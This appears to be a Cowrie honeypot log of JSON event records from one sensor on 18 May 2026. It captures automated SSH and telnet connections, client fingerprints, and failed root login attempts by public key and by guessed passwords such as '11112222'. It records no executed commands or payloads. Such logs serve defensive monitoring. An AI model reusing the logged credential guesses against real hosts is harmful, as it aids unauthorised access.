{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:8a:20:e0:ba:56:b4:e0:5b:f6:ca:c8:1d:34:b0:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvrhyCuv6FI1RAG6fdVb7StDpIKS9OroaKTD3oTgV+hxPVl8vZ3WmLbzSi1JqUcsQWzFZOlzrFpW9roLO0b/c8FJBdfFqjp9N8iZx45yEW8EQEysLnn6dNwPUIo2mHVY3fKfYl+D6/4GnGbOzbgutd8TsmQPA/ELFGIpE+JM4GBC+DZ9SxX8ImqDUoGLmIkSR+z12JrMBEpTPiNTJ67gj7BDUPtRXldpFI4n0aT/8HFlShdsRH1ynLxSWj56TYNu/8hWPRICAODn4fHl1YIdlsULhzBguRgedtG+0TLqnanyWVOvQ5GRKZ0IklSi3bPHu8Qs3lLaTga4y7LAaz2Ewdw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:31.037979Z","src_ip":"173.236.16.74","session":"5cc232df4892","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:c9:dd:0f:17:37:29:dd:3e:8f:1f:8e:aa:af:b6:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCsIvUVIlKI4F7uvZYmoVNduHP6eGSp9amB9GhnPwexiOfv6GAmjMX6S7OEsr3+1pD0lz/4skPAOyrp4XJSwzhMd+CMR9+b2uvcstNTiLqDPp790KFM3lrilOCm6CiGLIYFNB65EjwB9p3SP/cPhRjSIoWE/HbD0pnDJQJfWYWulcnC3maX2fPPAW67o5cXfwsSYby4f5yS0KEik95kzBhnUsO5lXNOmQfKNz1ojSJNGOTWxjzetQwNN5uPfEX4ZPuoZMePnknJhVCzGNqnEeKaeQYkqq01pgIrCvEMcIWF4uzpgmnBB4xx5dbvQdlN2GPVjfuXAcU9aM8bQHHAXv3FVO+5XJ+YpDfhI/d95lykOqkACurHOS4ZR1axuuPdChLeZV0TKjEux9/1V4z9srPsAWzTmZ1XtD8V/FtxAuf+zaLPi3bmuoIyAtTqiQFi9j2F/OomI7HE3nebn6BOd9RPPG1pdYmBYhLpMQfyrkebQOHFLtA9TW+1QWogBBWLe0znMgFuV+f6Sm8ly2dktd24nvN18lId16EVdWtGdZ3w5FZv6K16hJsA96VP8pxlaKNioSYIyjRfo58frggREaUMwtq2V+dX+rPBVhnvhRGpW/D6MDAnzvaloeEEwfBJeGc8CKnR1T0JBnBYVmj44mjaRonlwwuLytIArZ3JVJwTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:c9:dd:0f:17:37:29:dd:3e:8f:1f:8e:aa:af:b6:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:31.124856Z","src_ip":"173.236.16.74","session":"5cc232df4892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:c9:dd:0f:17:37:29:dd:3e:8f:1f:8e:aa:af:b6:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCsIvUVIlKI4F7uvZYmoVNduHP6eGSp9amB9GhnPwexiOfv6GAmjMX6S7OEsr3+1pD0lz/4skPAOyrp4XJSwzhMd+CMR9+b2uvcstNTiLqDPp790KFM3lrilOCm6CiGLIYFNB65EjwB9p3SP/cPhRjSIoWE/HbD0pnDJQJfWYWulcnC3maX2fPPAW67o5cXfwsSYby4f5yS0KEik95kzBhnUsO5lXNOmQfKNz1ojSJNGOTWxjzetQwNN5uPfEX4ZPuoZMePnknJhVCzGNqnEeKaeQYkqq01pgIrCvEMcIWF4uzpgmnBB4xx5dbvQdlN2GPVjfuXAcU9aM8bQHHAXv3FVO+5XJ+YpDfhI/d95lykOqkACurHOS4ZR1axuuPdChLeZV0TKjEux9/1V4z9srPsAWzTmZ1XtD8V/FtxAuf+zaLPi3bmuoIyAtTqiQFi9j2F/OomI7HE3nebn6BOd9RPPG1pdYmBYhLpMQfyrkebQOHFLtA9TW+1QWogBBWLe0znMgFuV+f6Sm8ly2dktd24nvN18lId16EVdWtGdZ3w5FZv6K16hJsA96VP8pxlaKNioSYIyjRfo58frggREaUMwtq2V+dX+rPBVhnvhRGpW/D6MDAnzvaloeEEwfBJeGc8CKnR1T0JBnBYVmj44mjaRonlwwuLytIArZ3JVJwTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:31.128961Z","src_ip":"173.236.16.74","session":"5cc232df4892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:31.213805Z","src_ip":"173.236.16.74","session":"5cc232df4892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55468,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d310fbc74bb","protocol":"telnet","message":"New connection: 152.42.224.71:55468 (10.17.0.5:23) [session: 4d310fbc74bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:41.681841Z"}
{"eventid":"cowrie.session.closed","duration":53.68382787704468,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:53.095293Z","src_ip":"152.42.224.71","session":"f498908f64af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":48844,"dst_ip":"159.203.135.109","dst_port":22,"session":"b65f3f6fb1ff","protocol":"ssh","message":"New connection: 103.82.132.16:48844 (159.203.135.109:22) [session: b65f3f6fb1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:55.932125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:55.937732Z","src_ip":"103.82.132.16","session":"b65f3f6fb1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:56.199007Z","src_ip":"103.82.132.16","session":"b65f3f6fb1ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321a","message":"login attempt [root/12344321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:56.983007Z","src_ip":"103.82.132.16","session":"b65f3f6fb1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:58.247549Z","src_ip":"103.82.132.16","session":"b65f3f6fb1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.19946360588074,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:59.860126Z","src_ip":"152.42.224.71","session":"acdb7bdd5086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.13.19","src_port":60998,"dst_ip":"10.17.0.5","dst_port":22,"session":"b758929fb71b","protocol":"ssh","message":"New connection: 89.45.13.19:60998 (10.17.0.5:22) [session: b758929fb71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:10.554589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:10.561227Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:10.698188Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:b3:2e:96:ba:e7:d3:f6:6d:b7:df:30:43:e3:6b:3b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDRPkB/cZoVjVhkWgtd9lnHsdeLzqSeWzsfs2a3+TX0v","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d8:b3:2e:96:ba:e7:d3:f6:6d:b7:df:30:43:e3:6b:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.340242Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:b3:2e:96:ba:e7:d3:f6:6d:b7:df:30:43:e3:6b:3b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDRPkB/cZoVjVhkWgtd9lnHsdeLzqSeWzsfs2a3+TX0v","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.347451Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:5c:30:f7:09:81:62:af:23:91:2c:c1:d0:b9:bd:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo0O30qtF//CuoJVG2VfBvSdHe3Td56qhx4BZjNGg8vlebhco5Zr3U36yYBaHBt+rv9HeCkWis0lLOIAbBJqsLHlRgiJEcqsUNhmGGbTVb3/+NihJYNKjR7ct14JAGdeuwuRAjAROwSfMxSrMTFstJq4XY1RQ/8Yeh8+5x2R5M3Q0tuFF858AgWxpKx5RKl1qcYx02ZZKyCc28KWs2Z5Rp63oHsf6EGk7DShS+/5YwRcPE/qZooirmHBOG5lZ05HcdoQcmKMBH1OxddoHZrjH7JWroAQBc+VWEF0cGAFH3mKWNA2mM8aLR00RRZXu4pRVDROqKFKvAurzuaLDAe8W7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:5c:30:f7:09:81:62:af:23:91:2c:c1:d0:b9:bd:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.482093Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:5c:30:f7:09:81:62:af:23:91:2c:c1:d0:b9:bd:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo0O30qtF//CuoJVG2VfBvSdHe3Td56qhx4BZjNGg8vlebhco5Zr3U36yYBaHBt+rv9HeCkWis0lLOIAbBJqsLHlRgiJEcqsUNhmGGbTVb3/+NihJYNKjR7ct14JAGdeuwuRAjAROwSfMxSrMTFstJq4XY1RQ/8Yeh8+5x2R5M3Q0tuFF858AgWxpKx5RKl1qcYx02ZZKyCc28KWs2Z5Rp63oHsf6EGk7DShS+/5YwRcPE/qZooirmHBOG5lZ05HcdoQcmKMBH1OxddoHZrjH7JWroAQBc+VWEF0cGAFH3mKWNA2mM8aLR00RRZXu4pRVDROqKFKvAurzuaLDAe8W7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.486834Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:f0:6f:7b:e8:f7:09:30:37:5b:a0:87:23:e1:3e:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtiNsjClx5gu3ViMNlkh6n4Chr3cpE6wpqi8SCqia5h2LeWmJK/CFH0Epw/VFqYQ5jcSFE//TwSRlHo0ZtWtva+NVBcNilnva5z58LXl76AVZst3aNwHB9idJWb4Cu8FF3ieha4l9XsLQmT1sNLdL4fvyC0szDHrrpc4LpphfUutfu8z0/c9DqRWfwQsjbLIHhhFP0KCxr/k3efNBIq9vFQdwULjBN0qS+Y33lkR52mVhWvc9o1+gX5Nj6uWOwEEwkkeTrl1eI0p79yrE7SaYKvPe9HO9GWKQGhK1hhiTtfyep42wsNEpGpLeDEEs9VlUEmt7ZdrSqvPD/a6GZJO4V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:f0:6f:7b:e8:f7:09:30:37:5b:a0:87:23:e1:3e:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.626163Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:f0:6f:7b:e8:f7:09:30:37:5b:a0:87:23:e1:3e:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtiNsjClx5gu3ViMNlkh6n4Chr3cpE6wpqi8SCqia5h2LeWmJK/CFH0Epw/VFqYQ5jcSFE//TwSRlHo0ZtWtva+NVBcNilnva5z58LXl76AVZst3aNwHB9idJWb4Cu8FF3ieha4l9XsLQmT1sNLdL4fvyC0szDHrrpc4LpphfUutfu8z0/c9DqRWfwQsjbLIHhhFP0KCxr/k3efNBIq9vFQdwULjBN0qS+Y33lkR52mVhWvc9o1+gX5Nj6uWOwEEwkkeTrl1eI0p79yrE7SaYKvPe9HO9GWKQGhK1hhiTtfyep42wsNEpGpLeDEEs9VlUEmt7ZdrSqvPD/a6GZJO4V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.630155Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:d1:59:2c:0c:9b:df:cf:f1:48:97:e8:82:04:a0:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6fM9Sn0+gNkcwG8SiyaAwRqY6tRUT9N85KYMVi9jv+DFElNP/K2KnqUVAPC+PYv4XuW1i/Yzp/F3D+/Fgv3Z2IG77VLFhDbR2S/eXxvN0nBB24xVUVW2ieOLacEbesSCHSNIEQXzo8v9O0CiAU8RLkyDlaAt3tdhWH+AAZ7wBrfJKVPyp2dO2T4e8BlUJtnIIUuYxip6BSJZQDh0WmIO7gE6BqNOFLqJcOSYKh7i4QbC0E5EYsy3bPDMT2WKzRF8wBt3IN3+QKX01GhBsId4uurcjHmr2Ai5Sfy/zL970J7AGNp0U4zzq3x7eGvsota0e7VqAAUjIwTd6CglJzDf3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:d1:59:2c:0c:9b:df:cf:f1:48:97:e8:82:04:a0:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.770053Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:d1:59:2c:0c:9b:df:cf:f1:48:97:e8:82:04:a0:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6fM9Sn0+gNkcwG8SiyaAwRqY6tRUT9N85KYMVi9jv+DFElNP/K2KnqUVAPC+PYv4XuW1i/Yzp/F3D+/Fgv3Z2IG77VLFhDbR2S/eXxvN0nBB24xVUVW2ieOLacEbesSCHSNIEQXzo8v9O0CiAU8RLkyDlaAt3tdhWH+AAZ7wBrfJKVPyp2dO2T4e8BlUJtnIIUuYxip6BSJZQDh0WmIO7gE6BqNOFLqJcOSYKh7i4QbC0E5EYsy3bPDMT2WKzRF8wBt3IN3+QKX01GhBsId4uurcjHmr2Ai5Sfy/zL970J7AGNp0U4zzq3x7eGvsota0e7VqAAUjIwTd6CglJzDf3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.774383Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:48:18:49:64:d2:79:1e:42:e3:6e:87:4a:3d:8b:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyHAO3/hd/1Qmfdl5pLlC4khk2xSWl0Z3DX/BjbeGQGjMa7N0ZzXEopAOeUJ6FxrzIapZQjmXuZCr4r7LvNZ+DzmthRFWrljS9IRQ1kKbZ2P6wp0+GnLbEmnxiZ6VuUZzuPilI2GllyUx8Ry1sP3v0NVKv0MuTOhagRyt2N2h/XjrFdAt4+U4swAtFlZcp1c/I3QomCZ47u/UKPnOXdru6pR51T70/2OitXG9+aDxOkMefp90vlGiaScUPCpP5FTK3aemJIrmpTMvgS8PcqJQbQH0XCfCiSMn/uTNyzNq6jpE5EagQwBIM9SXEKAbV+cj6Mpx69WlUpJM5ax1gE991","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:48:18:49:64:d2:79:1e:42:e3:6e:87:4a:3d:8b:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.911105Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:48:18:49:64:d2:79:1e:42:e3:6e:87:4a:3d:8b:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyHAO3/hd/1Qmfdl5pLlC4khk2xSWl0Z3DX/BjbeGQGjMa7N0ZzXEopAOeUJ6FxrzIapZQjmXuZCr4r7LvNZ+DzmthRFWrljS9IRQ1kKbZ2P6wp0+GnLbEmnxiZ6VuUZzuPilI2GllyUx8Ry1sP3v0NVKv0MuTOhagRyt2N2h/XjrFdAt4+U4swAtFlZcp1c/I3QomCZ47u/UKPnOXdru6pR51T70/2OitXG9+aDxOkMefp90vlGiaScUPCpP5FTK3aemJIrmpTMvgS8PcqJQbQH0XCfCiSMn/uTNyzNq6jpE5EagQwBIM9SXEKAbV+cj6Mpx69WlUpJM5ax1gE991","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:11.915438Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:12.054611Z","src_ip":"89.45.13.19","session":"b758929fb71b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.37448215484619,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:24.056233Z","src_ip":"152.42.224.71","session":"4d310fbc74bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00698757171631,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:29.916023Z","src_ip":"152.42.224.71","session":"17b01f467f77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":44550,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee9dd158cbbc","protocol":"ssh","message":"New connection: 80.66.85.226:44550 (10.17.0.5:22) [session: ee9dd158cbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:30.591512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:30.596723Z","src_ip":"80.66.85.226","session":"ee9dd158cbbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:30.695256Z","src_ip":"80.66.85.226","session":"ee9dd158cbbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11112222","message":"login attempt [root/11112222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:30.978620Z","src_ip":"80.66.85.226","session":"ee9dd158cbbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:32.078566Z","src_ip":"80.66.85.226","session":"ee9dd158cbbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":33838,"dst_ip":"10.17.0.5","dst_port":22,"session":"cce914dd0df6","protocol":"ssh","message":"New connection: 2.57.122.238:33838 (10.17.0.5:22) [session: cce914dd0df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:50.965458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:20:50.970213Z","src_ip":"2.57.122.238","session":"cce914dd0df6","protocol":"ssh"}
